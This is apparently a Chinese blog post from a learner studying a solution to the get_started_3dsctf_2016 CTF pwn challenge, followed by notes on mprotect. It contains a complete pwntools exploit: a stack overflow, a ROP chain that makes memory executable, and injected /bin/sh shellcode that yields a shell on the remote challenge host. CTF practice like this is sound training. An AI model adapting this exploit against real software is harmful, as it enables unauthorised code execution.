【声明:我不会做,所以学习别人的看看能不能看懂】
from pwn import *
context(arch='i386',os='linux')
r=remote('node4.buuoj.cn',29114)
elf=ELF('./get_started_3dsctf_2016')
mprotect_addr=elf.symbols['mprotect']
read_addr=elf.symbols['read']
main_addr=elf.symbols['main']
ppp3_addr=0x080483b8 #这里有三个pop
mpr_start=0x80eb000 #got.plt表的开头
mpr_len=0x1000
mpr_prot=7 #rxw=7
shellcode=asm(shellcraft.sh())
#asm()函数接收一个字符串作为参数,得到汇编码的机器代码
#shellcraft模块是shellcode的模块,包含一些生成shellcode的函数
#shellcraft.sh()则是执行/bin/sh的shellcode
#总而言之,那是不是可以直接shellcode='/bin/sh'呢?是不可以的。
payload='a'*0x38 #在main函数看到v4是0x38哦
payload+=p32(mprotect_addr)+p32(ppp3_addr)+p32(mpr_start)+p32(mpr_len)+p32(mpr_prot)
payload+=p32(read_addr)+p32(ppp3_addr)+p32(0x0)+p32(mpr_start)+p32(len(shellcode))
payload+=p32(mpr_start)
r.sendline(payload)
#先让gets溢出
#然后利用mprotect函数修改bss权限,利用三个pop将addr、len、prot传入mprotect函数中
#然后用read,再pop进len(shellcode)
#(最后回到start这个位置写入shellcode)
r.sendline(shellcode)
r.interactive()
1. mprotect函数
可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。
可以修改程序内存里面的权限。
int mprotect(const void *start, size_t len, int prot);
#start是要修改的起始的内存地址
#len是修改的长度
#prot修改的权限
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
————————————————
版权声明:本文为CSDN博主「qiu.s.z」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_15762939/article/details/104062307